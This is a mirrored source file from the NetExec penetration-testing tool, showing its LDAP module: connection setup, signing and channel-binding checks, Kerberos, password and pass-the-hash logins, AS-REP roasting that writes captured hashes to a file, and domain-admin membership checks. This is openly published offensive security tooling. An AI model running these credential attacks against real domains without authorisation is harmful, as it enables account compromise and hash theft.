mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
1703 lines
83 KiB
Python
1703 lines
83 KiB
Python
# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py
|
|
# https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
|
|
import hashlib
|
|
import hmac
|
|
import os
|
|
import socket
|
|
from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH
|
|
from binascii import hexlify
|
|
from datetime import datetime
|
|
from re import sub, IGNORECASE
|
|
from zipfile import ZipFile
|
|
from termcolor import colored
|
|
from dns import resolver
|
|
from dateutil.relativedelta import relativedelta as rd
|
|
|
|
from Cryptodome.Hash import MD4
|
|
from OpenSSL.SSL import SysCallError
|
|
from bloodhound.ad.authentication import ADAuthentication
|
|
from bloodhound.ad.domain import AD
|
|
from impacket.dcerpc.v5.samr import (
|
|
UF_ACCOUNTDISABLE,
|
|
UF_DONT_REQUIRE_PREAUTH,
|
|
UF_TRUSTED_FOR_DELEGATION,
|
|
UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,
|
|
UF_SERVER_TRUST_ACCOUNT,
|
|
SAM_MACHINE_ACCOUNT,
|
|
)
|
|
from impacket.krb5 import constants
|
|
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
|
|
from impacket.krb5.ccache import CCache
|
|
from impacket.krb5.types import Principal, KerberosException
|
|
from impacket.ldap import ldap as ldap_impacket
|
|
from impacket.ldap import ldaptypes
|
|
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
|
from impacket.ldap.ldap import LDAPFilterSyntaxError
|
|
from impacket.smbconnection import SessionError
|
|
from impacket.ntlm import getNTLMSSPType1
|
|
|
|
from nxc.config import process_secret, host_info_colors
|
|
from nxc.connection import connection
|
|
from nxc.helpers.bloodhound import add_user_bh
|
|
from nxc.helpers.misc import get_bloodhound_info, convert, d2b
|
|
from nxc.logger import NXCAdapter, nxc_logger
|
|
from nxc.protocols.ldap.bloodhound import BloodHound
|
|
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
|
from nxc.protocols.ldap.kerberos import KerberosAttacks
|
|
from nxc.parsers.ldap_results import parse_result_attributes
|
|
from nxc.helpers.ntlm_parser import parse_challenge
|
|
from nxc.paths import CONFIG_PATH
|
|
|
|
ldap_error_status = {
|
|
"1": "STATUS_NOT_SUPPORTED",
|
|
"533": "STATUS_ACCOUNT_DISABLED",
|
|
"701": "STATUS_ACCOUNT_EXPIRED",
|
|
"531": "STATUS_ACCOUNT_RESTRICTION",
|
|
"530": "STATUS_INVALID_LOGON_HOURS",
|
|
"532": "STATUS_PASSWORD_EXPIRED",
|
|
"773": "STATUS_PASSWORD_MUST_CHANGE",
|
|
"775": "USER_ACCOUNT_LOCKED",
|
|
"50": "LDAP_INSUFFICIENT_ACCESS",
|
|
"0": "LDAP Signing IS Enforced",
|
|
"KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED",
|
|
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
|
|
}
|
|
|
|
|
|
def resolve_collection_methods(methods):
|
|
"""Convert methods (string) to list of validated methods to resolve"""
|
|
valid_methods = [
|
|
"group",
|
|
"localadmin",
|
|
"session",
|
|
"trusts",
|
|
"default",
|
|
"all",
|
|
"loggedon",
|
|
"objectprops",
|
|
"experimental",
|
|
"acl",
|
|
"dcom",
|
|
"rdp",
|
|
"psremote",
|
|
"dconly",
|
|
"container",
|
|
]
|
|
default_methods = ["group", "localadmin", "session", "trusts"]
|
|
# Similar to SharpHound, All is not really all, it excludes loggedon
|
|
all_methods = [
|
|
"group",
|
|
"localadmin",
|
|
"session",
|
|
"trusts",
|
|
"objectprops",
|
|
"acl",
|
|
"dcom",
|
|
"rdp",
|
|
"psremote",
|
|
"container",
|
|
]
|
|
# DC only, does not collect to computers
|
|
dconly_methods = ["group", "trusts", "objectprops", "acl", "container"]
|
|
if "," in methods:
|
|
method_list = [method.lower() for method in methods.split(",")]
|
|
validated_methods = []
|
|
for method in method_list:
|
|
if method not in valid_methods:
|
|
nxc_logger.error("Invalid collection method specified: %s", method)
|
|
return False
|
|
|
|
if method == "default":
|
|
validated_methods += default_methods
|
|
elif method == "all":
|
|
validated_methods += all_methods
|
|
elif method == "dconly":
|
|
validated_methods += dconly_methods
|
|
else:
|
|
validated_methods.append(method)
|
|
return set(validated_methods)
|
|
else:
|
|
validated_methods = []
|
|
# It is only one
|
|
method = methods.lower()
|
|
if method in valid_methods:
|
|
if method == "default":
|
|
validated_methods += default_methods
|
|
elif method == "all":
|
|
validated_methods += all_methods
|
|
elif method == "dconly":
|
|
validated_methods += dconly_methods
|
|
else:
|
|
validated_methods.append(method)
|
|
return set(validated_methods)
|
|
else:
|
|
nxc_logger.error("Invalid collection method specified: %s", method)
|
|
return False
|
|
|
|
|
|
class ldap(connection):
|
|
def __init__(self, args, db, host):
|
|
self.domain = None
|
|
self.server_os = None
|
|
self.os_arch = 0
|
|
self.hash = None
|
|
self.ldap_connection = None
|
|
self.lmhash = ""
|
|
self.nthash = ""
|
|
self.baseDN = ""
|
|
self.target = ""
|
|
self.targetDomain = ""
|
|
self.remote_ops = None
|
|
self.bootkey = None
|
|
self.signing_required = None
|
|
self.cbt_status = None
|
|
self.auth_choice = "sasl" if not args.simple_bind else "simple"
|
|
self.admin_privs = False
|
|
self.no_ntlm = False
|
|
self.sid_domain = ""
|
|
self.scope = None
|
|
self.configuration_context = ""
|
|
|
|
connection.__init__(self, args, db, host)
|
|
|
|
def proto_logger(self):
|
|
self.logger = NXCAdapter(
|
|
extra={
|
|
"protocol": "LDAP",
|
|
"host": self.host,
|
|
"port": self.port,
|
|
"hostname": self.hostname,
|
|
}
|
|
)
|
|
|
|
def create_conn_obj(self):
|
|
try:
|
|
proto = "ldaps" if self.port == 636 else "ldap"
|
|
ldap_url = f"{proto}://{self.host}"
|
|
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
|
|
|
|
self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
|
|
if self.ldap_connection:
|
|
self.logger.debug(f"ldap_connection: {self.ldap_connection}")
|
|
except SysCallError as e:
|
|
if proto == "ldaps":
|
|
self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}")
|
|
# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
|
|
self.logger.fail("Even if the port is open, LDAPS may not be configured")
|
|
else:
|
|
self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}")
|
|
return False
|
|
except ConnectionRefusedError as e:
|
|
self.logger.debug(f"{e} on host {self.host}")
|
|
return False
|
|
except OSError as e:
|
|
if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT):
|
|
self.logger.info(f"Error connecting to {self.host}: {e}")
|
|
return False
|
|
else:
|
|
self.logger.error(f"Error connecting to {self.host}: {e}")
|
|
return False
|
|
|
|
return True
|
|
|
|
def get_ldap_username(self):
|
|
extended_request = ldapasn1_impacket.ExtendedRequest()
|
|
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
|
|
|
|
response = self.ldap_connection.sendReceive(extended_request)
|
|
for message in response:
|
|
search_result = message["protocolOp"].getComponent()
|
|
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
|
|
response_value = search_result["responseValue"]
|
|
if response_value.hasValue():
|
|
value = response_value.asOctets().decode(response_value.encoding)[2:]
|
|
return value.split("\\")[1]
|
|
return ""
|
|
|
|
def check_ldap_signing(self):
|
|
self.signing_required = False
|
|
ldap_url = f"ldap://{self.target}"
|
|
try:
|
|
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False)
|
|
ldap_connection.login(domain=self.domain)
|
|
self.logger.debug(f"LDAP signing is not enforced on {self.host}")
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
if str(e).find("strongerAuthRequired") >= 0:
|
|
self.logger.debug(f"LDAP signing is enforced on {self.host}")
|
|
self.signing_required = True
|
|
else:
|
|
self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
|
|
|
|
def check_ldaps_cbt(self):
|
|
self.cbt_status = "Never"
|
|
ldap_url = f"ldaps://{self.target}"
|
|
try:
|
|
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
|
ldap_connection.channel_binding_value = None
|
|
ldap_connection.login(user=" ", domain=self.domain)
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
if str(e).find("data 80090346") >= 0:
|
|
self.logger.debug(f"LDAPS channel binding enforced on host {self.host}")
|
|
self.cbt_status = "Always" # CBT is Required
|
|
# Login failed (wrong credentials). test if we get an error with an existing, but wrong CBT -> When supported
|
|
elif str(e).find("data 52e") >= 0:
|
|
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
|
new_cbv = bytearray(ldap_connection.channel_binding_value)
|
|
new_cbv[15] = (new_cbv[3] + 1) % 256
|
|
ldap_connection.channel_binding_value = bytes(new_cbv)
|
|
try:
|
|
ldap_connection.login(user=" ", domain=self.domain)
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
if str(e).find("data 80090346") >= 0:
|
|
self.logger.debug(f"LDAPS channel binding is set to 'When Supported' on host {self.host}")
|
|
self.cbt_status = "When Supported" # CBT is When Supported
|
|
else:
|
|
self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
|
|
except SysCallError as e:
|
|
self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
|
|
if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
|
|
self.cbt_status = "No TLS cert"
|
|
else:
|
|
raise
|
|
|
|
def enum_host_info(self):
|
|
# Enumerate LDAP info
|
|
target = ""
|
|
target_domain = ""
|
|
base_dn = ""
|
|
try:
|
|
resp = self.ldap_connection.search(
|
|
scope=ldapasn1_impacket.Scope("baseObject"),
|
|
attributes=["dnsHostName", "defaultNamingContext", "configurationNamingContext"],
|
|
sizeLimit=0,
|
|
)
|
|
resp_parsed = parse_result_attributes(resp)[0]
|
|
|
|
self.configuration_context = resp_parsed["configurationNamingContext"]
|
|
target = resp_parsed["dnsHostName"]
|
|
base_dn = resp_parsed["defaultNamingContext"]
|
|
target_domain = sub(
|
|
r",DC=",
|
|
".",
|
|
base_dn[base_dn.lower().find("dc="):],
|
|
flags=IGNORECASE,
|
|
)[3:]
|
|
except Exception as e:
|
|
self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}")
|
|
|
|
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
|
|
self.target = target
|
|
self.targetDomain = target_domain
|
|
self.baseDN = base_dn
|
|
|
|
# Parse hostname and remoteName
|
|
self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
|
|
self.remoteName = self.target
|
|
|
|
# Parse NTLM challenge
|
|
ntlm_challenge = None
|
|
bindRequest = ldapasn1_impacket.BindRequest()
|
|
bindRequest["version"] = 3
|
|
bindRequest["name"] = ""
|
|
negotiate = getNTLMSSPType1()
|
|
bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData()
|
|
try:
|
|
response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"]
|
|
ntlm_challenge = bytes(response["bindResponse"]["matchedDN"])
|
|
except Exception as e:
|
|
self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}")
|
|
|
|
if ntlm_challenge:
|
|
ntlm_info = parse_challenge(ntlm_challenge)
|
|
self.server_os = ntlm_info["os_version"]
|
|
else:
|
|
self.no_ntlm = True
|
|
|
|
if self.args.domain:
|
|
self.domain = self.args.domain
|
|
elif self.args.use_kcache: # Fixing domain trust, just pull the auth domain out of the ticket
|
|
self.domain = CCache.parseFile()[0]
|
|
self.username = CCache.parseFile()[1]
|
|
else:
|
|
self.domain = self.targetDomain
|
|
|
|
self.check_ldap_signing()
|
|
if getattr(self.args, "port_explicitly_set", False) and self.port == 389:
|
|
self.cbt_status = "Unknown"
|
|
else:
|
|
self.check_ldaps_cbt()
|
|
|
|
# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
|
|
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
|
|
result = self.resolver(self.domain)
|
|
self.kdcHost = result["host"] if result else None
|
|
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
|
|
|
try:
|
|
self.db.add_host(
|
|
self.host,
|
|
self.hostname,
|
|
self.domain,
|
|
self.server_os,
|
|
self.signing_required,
|
|
self.cbt_status
|
|
)
|
|
except Exception as e:
|
|
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
|
|
|
def print_host_info(self):
|
|
self.logger.debug("Printing host info for LDAP")
|
|
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
|
|
cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
|
|
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
|
|
|
|
self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS"
|
|
self.logger.extra["port"] = self.port
|
|
self.logger.extra["hostname"] = self.hostname
|
|
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({cbt_status}) {ntlm}")
|
|
|
|
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
|
if self.auth_choice == "simple":
|
|
self.logger.fail("Simple bind and Kerberos authentication are mutually exclusive.")
|
|
return False
|
|
|
|
self.username = username if not self.args.use_kcache else self.username # With ccache we get the username from the ticket
|
|
self.password = password
|
|
self.domain = domain
|
|
self.kdcHost = kdcHost
|
|
self.aesKey = aesKey
|
|
|
|
lmhash = ""
|
|
nthash = ""
|
|
|
|
# This checks to see if we didn't provide the LM Hash
|
|
if ntlm_hash.find(":") != -1:
|
|
lmhash, nthash = ntlm_hash.split(":")
|
|
self.hash = nthash
|
|
else:
|
|
nthash = ntlm_hash
|
|
self.hash = ntlm_hash
|
|
if lmhash:
|
|
self.lmhash = lmhash
|
|
if nthash:
|
|
self.nthash = nthash
|
|
|
|
if self.username and self.password == "" and self.args.asreproast:
|
|
hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username)
|
|
if hash_tgt:
|
|
self.logger.highlight(f"{hash_tgt}")
|
|
with open(self.args.asreproast, "a+") as hash_asreproast:
|
|
hash_asreproast.write(f"{hash_tgt}\n")
|
|
return False
|
|
|
|
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
|
|
|
|
try:
|
|
# Connect to LDAP
|
|
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
|
|
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
|
proto = "ldaps" if self.port == 636 else "ldap"
|
|
ldap_url = f"{proto}://{self.target}"
|
|
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
|
|
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
|
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
|
if self.username == "":
|
|
self.username = self.get_ldap_username()
|
|
|
|
self.check_if_admin()
|
|
|
|
if password:
|
|
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
|
self.db.add_credential("plaintext", domain, self.username, self.password)
|
|
elif ntlm_hash:
|
|
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
|
|
self.db.add_credential("hash", domain, self.username, self.hash)
|
|
|
|
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
|
self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
|
|
|
|
if self.username != "":
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if self.admin_privs:
|
|
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
|
return True
|
|
except SessionKeyDecryptionError:
|
|
# for PRE-AUTH account
|
|
self.logger.success(
|
|
f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}",
|
|
color="yellow",
|
|
)
|
|
# If no preauth is set, we want to be able to execute commands such as --kerberoasting
|
|
if self.args.no_preauth_targets: # noqa: SIM103
|
|
return True
|
|
else:
|
|
return False
|
|
except SessionError as e:
|
|
error, desc = e.getErrorString()
|
|
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
|
self.logger.fail(
|
|
f"{self.domain}\\{self.username}{used_ccache} {error!s}",
|
|
color="magenta" if error in ldap_error_status else "red",
|
|
)
|
|
return False
|
|
except (KeyError, KerberosException, OSError) as e:
|
|
self.logger.fail(
|
|
f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {e!s}",
|
|
color="red",
|
|
)
|
|
return False
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
if str(e).find("strongerAuthRequired") >= 0:
|
|
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
|
|
self.logger.error("StrongerAuthRequired Error on login: This should not happen anymore, please contact the devs and open an issue on github!")
|
|
# We need to try SSL
|
|
try:
|
|
# Connect to LDAPS
|
|
self.logger.extra["protocol"] = "LDAPS"
|
|
self.logger.extra["port"] = "636"
|
|
self.port = 636
|
|
ldaps_url = f"ldaps://{self.target}"
|
|
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
|
|
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
|
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
|
if self.username == "":
|
|
self.username = self.get_ldap_username()
|
|
|
|
self.check_if_admin()
|
|
|
|
if password:
|
|
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
|
self.db.add_credential("plaintext", domain, self.username, self.password)
|
|
elif ntlm_hash:
|
|
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
|
|
self.db.add_credential("hash", domain, self.username, self.hash)
|
|
|
|
# Prepare success credential text
|
|
self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
|
|
|
|
if self.username != "":
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if self.admin_privs:
|
|
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
|
return True
|
|
except SessionError as e:
|
|
error, desc = e.getErrorString()
|
|
self.logger.fail(
|
|
f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error!s}",
|
|
color="magenta" if error in ldap_error_status else "red",
|
|
)
|
|
return False
|
|
except Exception as e:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(
|
|
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}",
|
|
color="magenta" if error_code in ldap_error_status else "red",
|
|
)
|
|
return False
|
|
else:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(
|
|
f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error_code!s}",
|
|
color="magenta" if error_code in ldap_error_status else "red",
|
|
)
|
|
return False
|
|
|
|
def plaintext_login(self, domain, username, password):
|
|
self.username = username
|
|
self.password = password
|
|
self.domain = domain
|
|
|
|
if self.username and self.password == "" and self.args.asreproast:
|
|
hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username)
|
|
if hash_tgt:
|
|
self.logger.highlight(f"{hash_tgt}")
|
|
with open(self.args.asreproast, "a+") as hash_asreproast:
|
|
hash_asreproast.write(f"{hash_tgt}\n")
|
|
return False
|
|
|
|
try:
|
|
# Connect to LDAP
|
|
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
|
|
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
|
proto = "ldaps" if self.port == 636 else "ldap"
|
|
ldap_url = f"{proto}://{self.target}"
|
|
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
|
|
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple")
|
|
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
|
self.check_if_admin()
|
|
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
|
self.db.add_credential("plaintext", domain, self.username, self.password)
|
|
|
|
# Prepare success credential text
|
|
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
|
|
|
if self.username != "":
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if self.admin_privs:
|
|
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
|
return True
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
if str(e).find("strongerAuthRequired") >= 0:
|
|
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
|
|
if self.args.simple_bind:
|
|
self.logger.fail("StrongerAuthRequired error on login: SIMPLE bind cannot work with signing/sealing enforced. Falling back to LDAPS.")
|
|
else:
|
|
self.logger.error("StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!")
|
|
# We need to try SSL
|
|
try:
|
|
# Connect to LDAPS
|
|
self.logger.extra["protocol"] = "LDAPS"
|
|
self.logger.extra["port"] = "636"
|
|
self.port = 636
|
|
ldaps_url = f"ldaps://{self.target}"
|
|
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
|
|
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
|
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
|
self.check_if_admin()
|
|
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
|
self.db.add_credential("plaintext", domain, self.username, self.password)
|
|
|
|
# Prepare success credential text
|
|
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
|
|
|
if self.username != "":
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if self.admin_privs:
|
|
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
|
return True
|
|
except Exception as e:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(
|
|
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}",
|
|
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
|
)
|
|
else:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(
|
|
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}",
|
|
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
|
)
|
|
return False
|
|
except OSError as e:
|
|
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
|
return False
|
|
|
|
def hash_login(self, domain, username, ntlm_hash):
|
|
self.logger.extra["protocol"] = "LDAP"
|
|
self.logger.extra["port"] = "389"
|
|
lmhash = ""
|
|
nthash = ""
|
|
|
|
# This checks to see if we didn't provide the LM Hash
|
|
if ntlm_hash.find(":") != -1:
|
|
lmhash, nthash = ntlm_hash.split(":")
|
|
else:
|
|
nthash = ntlm_hash
|
|
|
|
self.hash = ntlm_hash
|
|
if lmhash:
|
|
self.lmhash = lmhash
|
|
if nthash:
|
|
self.nthash = nthash
|
|
|
|
self.username = username
|
|
self.domain = domain
|
|
|
|
if self.username and self.hash == "" and self.args.asreproast:
|
|
hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username)
|
|
if hash_tgt:
|
|
self.logger.highlight(f"{hash_tgt}")
|
|
with open(self.args.asreproast, "a+") as hash_asreproast:
|
|
hash_asreproast.write(f"{hash_tgt}\n")
|
|
return False
|
|
|
|
try:
|
|
# Connect to LDAP
|
|
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
|
|
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
|
proto = "ldaps" if self.port == 636 else "ldap"
|
|
ldaps_url = f"{proto}://{self.target}"
|
|
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
|
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
|
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
|
self.check_if_admin()
|
|
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
|
|
self.db.add_credential("hash", domain, self.username, self.hash)
|
|
|
|
# Prepare success credential text
|
|
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
|
self.logger.success(out)
|
|
|
|
if self.username != "":
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if self.admin_privs:
|
|
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
|
return True
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
if str(e).find("strongerAuthRequired") >= 0:
|
|
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
|
|
self.logger.error("StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!")
|
|
try:
|
|
# We need to try SSL
|
|
self.logger.extra["protocol"] = "LDAPS"
|
|
self.logger.extra["port"] = "636"
|
|
self.port = 636
|
|
ldaps_url = f"ldaps://{self.target}"
|
|
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
|
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
|
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
|
self.check_if_admin()
|
|
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
|
|
self.db.add_credential("hash", domain, self.username, self.hash)
|
|
|
|
# Prepare success credential text
|
|
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
|
self.logger.success(out)
|
|
|
|
if self.username != "":
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if self.admin_privs:
|
|
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
|
return True
|
|
except ldap_impacket.LDAPSessionError as e:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(
|
|
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}",
|
|
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
|
)
|
|
else:
|
|
error_code = str(e).split()[-2][:-1]
|
|
self.logger.fail(
|
|
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}",
|
|
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
|
)
|
|
return False
|
|
except OSError as e:
|
|
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
|
return False
|
|
|
|
def get_sid(self):
|
|
self.logger.highlight(f"Domain SID {self.sid_domain}")
|
|
|
|
def check_if_admin(self):
|
|
# 1. get SID of the domaine
|
|
search_filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
|
|
attributes = ["objectSid"]
|
|
resp = self.search(search_filter, attributes, sizeLimit=0, baseDN=self.baseDN)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
answers = []
|
|
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "":
|
|
for item in resp_parsed:
|
|
self.sid_domain = "-".join(item["objectSid"].split("-")[:-1])
|
|
|
|
# 2. get all group cn name
|
|
search_filter = f"(|(objectSid={self.sid_domain}-512)(objectSid={self.sid_domain}-544)(objectSid={self.sid_domain}-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
|
|
attributes = ["distinguishedName"]
|
|
resp = self.search(search_filter, attributes, sizeLimit=0, baseDN=self.baseDN)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
answers = []
|
|
for item in resp_parsed:
|
|
answers.append(f"(memberOf:1.2.840.113556.1.4.1941:={item['distinguishedName']})")
|
|
if len(answers) == 0:
|
|
self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.")
|
|
return
|
|
|
|
# 3. get member of these groups
|
|
search_filter = f"(&(objectCategory=user)(sAMAccountName={self.username})(|{''.join(answers)}))"
|
|
resp = self.search(search_filter, attributes=[], sizeLimit=0, baseDN=self.baseDN)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
for item in resp_parsed:
|
|
if item:
|
|
self.admin_privs = True
|
|
|
|
def getUnixTime(self, t):
|
|
t -= 116444736000000000
|
|
t /= 10000000
|
|
return t
|
|
|
|
